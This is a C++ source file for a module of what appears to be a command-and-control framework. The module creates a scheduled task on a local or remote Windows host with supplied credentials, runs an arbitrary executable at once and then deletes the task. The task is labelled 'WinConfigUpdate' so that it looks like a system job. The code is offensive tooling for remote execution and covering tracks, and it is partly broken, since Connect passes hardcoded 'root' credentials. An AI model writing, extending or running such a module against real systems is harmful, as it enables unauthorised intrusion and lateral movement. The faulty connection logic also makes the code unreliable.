#include "TaskScheduler.hpp" #include "Common.hpp" #include #include #include #ifdef _WIN32 #include #include #include #include #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsuppw.lib") using ATL::CComPtr; #endif using namespace std; constexpr std::string_view moduleNameTaskScheduler = "taskScheduler"; constexpr unsigned long long moduleHashTaskScheduler = djb2(moduleNameTaskScheduler); #ifdef _WIN32 extern "C" __declspec(dllexport) TaskScheduler* TaskSchedulerConstructor() { return new TaskScheduler(); } #else extern "C" __attribute__((visibility("default"))) TaskScheduler* TaskSchedulerConstructor() { return new TaskScheduler(); } #endif TaskScheduler::TaskScheduler() #ifdef BUILD_TEAMSERVER : ModuleCmd(std::string(moduleNameTaskScheduler), moduleHashTaskScheduler) #else : ModuleCmd("", moduleHashTaskScheduler) #endif { } TaskScheduler::~TaskScheduler() = default; std::string TaskScheduler::getInfo() { std::ostringstream oss; #ifdef BUILD_TEAMSERVER oss << "Task Scheduler Module:\n"; oss << "Create a scheduled task on a remote or local Windows host." << '\n'; oss << "The task is executed immediately after registration then deleted." << '\n'; oss << "Options:" << '\n'; oss << " -s Target host (omit for localhost)." << '\n'; oss << " -t Name of the scheduled task. Defaults to a random name." << '\n'; oss << " -c Executable to run." << '\n'; oss << " -a Command line arguments." << '\n'; oss << " -u DOMAIN\\user for registration." << '\n'; oss << " -p Password for the provided user." << '\n'; oss << " --no-run Register the task without running it." << '\n'; oss << " --nocleanup Don't delete the task after it has been started." << '\n'; oss << "Example:" << '\n'; oss << " taskScheduler -s HOST -t UpdateTask -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\"" << '\n'; #endif return oss.str(); } std::string TaskScheduler::packParameters(const Parameters& params) const { std::string packed; auto append = [&packed](const std::string& value) { packed.append(value); packed.push_back('\0'); }; append(params.server); append(params.taskName); append(params.command); append(params.arguments); append(params.username); append(params.password); append(params.skipRun ? "1" : "0"); append(params.deleteAfterRun ? "1" : "0"); return packed; } TaskScheduler::Parameters TaskScheduler::unpackParameters(const std::string& data) const { Parameters params; std::vector parts; size_t start = 0; while (start < data.size()) { size_t end = data.find('\0', start); if (end == std::string::npos) { break; } parts.emplace_back(data.substr(start, end - start)); start = end + 1; } if (parts.size() < 8) { return params; } params.server = parts[0]; params.taskName = parts[1]; params.command = parts[2]; params.arguments = parts[3]; params.username = parts[4]; params.password = parts[5]; params.skipRun = parts[6] == "1"; params.deleteAfterRun = parts[7] == "1"; return params; } int TaskScheduler::init(std::vector& splitedCmd, C2Message& c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) std::vector args = regroupStrings(splitedCmd); Parameters params; if (args.size() < 2) { c2Message.set_returnvalue(getInfo()); return -1; } auto randomName = []() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution dist(1000, 9999); std::ostringstream oss; oss << "Task_" << dist(gen); return oss.str(); }; params.taskName = randomName(); params.deleteAfterRun = true; for (size_t i = 1; i < args.size(); ++i) { const std::string& current = args[i]; if (current == "-s" && i + 1 < args.size()) { params.server = args[++i]; } else if (current == "-t" && i + 1 < args.size()) { params.taskName = args[++i]; } else if (current == "-c" && i + 1 < args.size()) { params.command = args[++i]; } else if (current == "-a" && i + 1 < args.size()) { params.arguments = args[++i]; } else if (current == "-u" && i + 1 < args.size()) { params.username = args[++i]; } else if (current == "-p" && i + 1 < args.size()) { params.password = args[++i]; } else if (current == "--no-run") { params.skipRun = true; } else if (current == "--nocleanup") { params.deleteAfterRun = false; } else if (!current.empty() && current[0] != '-') { // treat positional command if not provided via -c if (params.command.empty()) { params.command = current; } else if (params.arguments.empty()) { params.arguments = current; } } } if (params.command.empty()) { c2Message.set_returnvalue("Missing command to execute.\n" + getInfo()); return -1; } c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(packParameters(params)); #endif return 0; } int TaskScheduler::process(C2Message& c2Message, C2Message& c2RetMessage) { std::string cmd = c2Message.cmd(); c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); Parameters params = unpackParameters(c2Message.cmd()); int error=0; std::string result; #ifdef _WIN32 error = executeTask(params, result); #else result = "Only supported on Windows.\n"; #endif if(error) c2RetMessage.set_errorCode(error); c2RetMessage.set_instruction(c2Message.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); return 0; } #define ERROR_CO_INIT 1 #define ERROR_CO_INIT_SEC 2 #define ERROR_CO_CREATE_INST 3 #define ERROR_TS_CONNECT 4 #define ERROR_TS_GET_FOLDER 5 #define ERROR_TS_NEW_TASK 6 #define ERROR_TD_ACTION 7 #define ERROR_ACTION_CREATE 8 #define ERROR_ACTION_QUERY_INTERFACE 9 #define ERROR_ACTION_PUT_PATH 10 #define ERROR_ACTION_PUT_ARG 11 #define ERROR_REGISTER_TASK 12 #define ERROR_REGISTER_TASK_START 13 #define ERROR_REGISTER_TASK_DEL 14 int TaskScheduler::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) int errorCode = c2RetMessage.errorCode(); if(errorCode>0) { errorMsg = c2RetMessage.returnvalue(); } #endif return 0; } #ifdef _WIN32 namespace { std::wstring toWide(const std::string& input) { if (input.empty()) { return std::wstring(); } int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, input.c_str(), static_cast(input.size()), nullptr, 0); std::wstring wide(sizeNeeded, L'\0'); MultiByteToWideChar(CP_UTF8, 0, input.c_str(), static_cast(input.size()), wide.data(), sizeNeeded); return wide; } std::string formatHResult(HRESULT hr) { _com_error err(hr); std::ostringstream oss; oss << "0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage(); return oss.str(); } } int TaskScheduler::executeTask(const Parameters& params, std::string& result) const { HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); if (SUCCEEDED(hr)) { } else if (hr != RPC_E_CHANGED_MODE) { result = formatHResult(hr); return ERROR_CO_INIT; } CComPtr taskService; CComPtr rootFolder; CComPtr taskDefinition; CComPtr regInfo; CComPtr principal; CComPtr settings; CComPtr actionCollection; CComPtr action; CComPtr execAction; CComPtr registeredTask; CComPtr runningTask; auto releaseAll = [&]() { runningTask.Release(); execAction.Release(); action.Release(); actionCollection.Release(); settings.Release(); principal.Release(); regInfo.Release(); registeredTask.Release(); taskDefinition.Release(); rootFolder.Release(); taskService.Release(); }; hr = CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, 0, nullptr); if (FAILED(hr) && hr != RPC_E_TOO_LATE) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_CO_INIT_SEC; } hr = CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&taskService)); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_CO_CREATE_INST; } // Support DOMAIN\\User std::wstring serverW; std::wstring userW; std::wstring passW; std::wstring domainW; serverW = std::wstring(params.server.begin(), params.server.end()); userW = std::wstring(params.username.begin(), params.username.end()); passW = std::wstring(params.password.begin(), params.password.end()); size_t slashPos = userW.find(L'\\'); if (slashPos != std::wstring::npos) { domainW = userW.substr(0, slashPos); userW = userW.substr(slashPos + 1); } _variant_t domainVariant; // if (!domainW.empty()) // domainVariant = _variant_t(domainW.c_str()); _variant_t serverVariant; if (!serverW.empty()) serverVariant = _variant_t(serverW.c_str()); _variant_t userVariant; if (!userW.empty()) userVariant = _variant_t(L"root"); _variant_t passwordVariant; if (!passW.empty()) passwordVariant = _variant_t(L"root"); hr = taskService->Connect(serverVariant, userVariant, domainVariant, passwordVariant); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_TS_CONNECT; } hr = taskService->GetFolder(_bstr_t(L"\\"), &rootFolder); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_TS_GET_FOLDER; } hr = taskService->NewTask(0, &taskDefinition); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_TS_NEW_TASK; } if (SUCCEEDED(taskDefinition->get_RegistrationInfo(®Info))) { regInfo->put_Author(_bstr_t(L"WinConfigUpdate")); regInfo->put_Description(_bstr_t(L"Task created by WinConfigUpdate.")); } if (SUCCEEDED(taskDefinition->get_Principal(&principal))) { if (!params.username.empty()) { principal->put_UserId(_bstr_t(toWide(params.username).c_str())); principal->put_LogonType(TASK_LOGON_PASSWORD); } else { principal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); } } if (SUCCEEDED(taskDefinition->get_Settings(&settings))) { settings->put_StartWhenAvailable(VARIANT_TRUE); settings->put_ExecutionTimeLimit(_bstr_t(L"PT0S")); settings->put_DisallowStartIfOnBatteries(VARIANT_FALSE); settings->put_StopIfGoingOnBatteries(VARIANT_FALSE); } hr = taskDefinition->get_Actions(&actionCollection); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_TD_ACTION; } hr = actionCollection->Create(TASK_ACTION_EXEC, &action); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_ACTION_CREATE; } hr = action->QueryInterface(IID_PPV_ARGS(&execAction)); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_ACTION_QUERY_INTERFACE; } hr = execAction->put_Path(_bstr_t(toWide(params.command).c_str())); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_ACTION_PUT_PATH; } if (!params.arguments.empty()) { hr = execAction->put_Arguments(_bstr_t(toWide(params.arguments).c_str())); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_ACTION_PUT_ARG; } } TASK_LOGON_TYPE logonType = params.username.empty() ? TASK_LOGON_INTERACTIVE_TOKEN : TASK_LOGON_PASSWORD; hr = rootFolder->RegisterTaskDefinition(_bstr_t(toWide(params.taskName).c_str()), taskDefinition, TASK_CREATE_OR_UPDATE, params.username.empty() ? _variant_t() : _variant_t(toWide(params.username).c_str()), params.password.empty() ? _variant_t() : _variant_t(toWide(params.password).c_str()), logonType, _variant_t(L""), ®isteredTask); if (FAILED(hr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_REGISTER_TASK; } std::ostringstream oss; oss << "" << params.taskName << " registered." << '\n'; if (!params.skipRun) { VARIANT empty = {}; VariantInit(&empty); hr = registeredTask->Run(empty, &runningTask); if (FAILED(hr)) { VariantClear(&empty); releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_REGISTER_TASK_START; } else { oss << "Started" << '\n'; } VariantClear(&empty); } if (params.deleteAfterRun) { HRESULT delHr = rootFolder->DeleteTask(_bstr_t(toWide(params.taskName).c_str()), 0); if (FAILED(delHr)) { releaseAll(); CoUninitialize(); result = formatHResult(hr); return ERROR_REGISTER_TASK_DEL; } else { oss << "Deleted" << '\n'; } } result = oss.str(); releaseAll(); CoUninitialize(); return 0; } #endif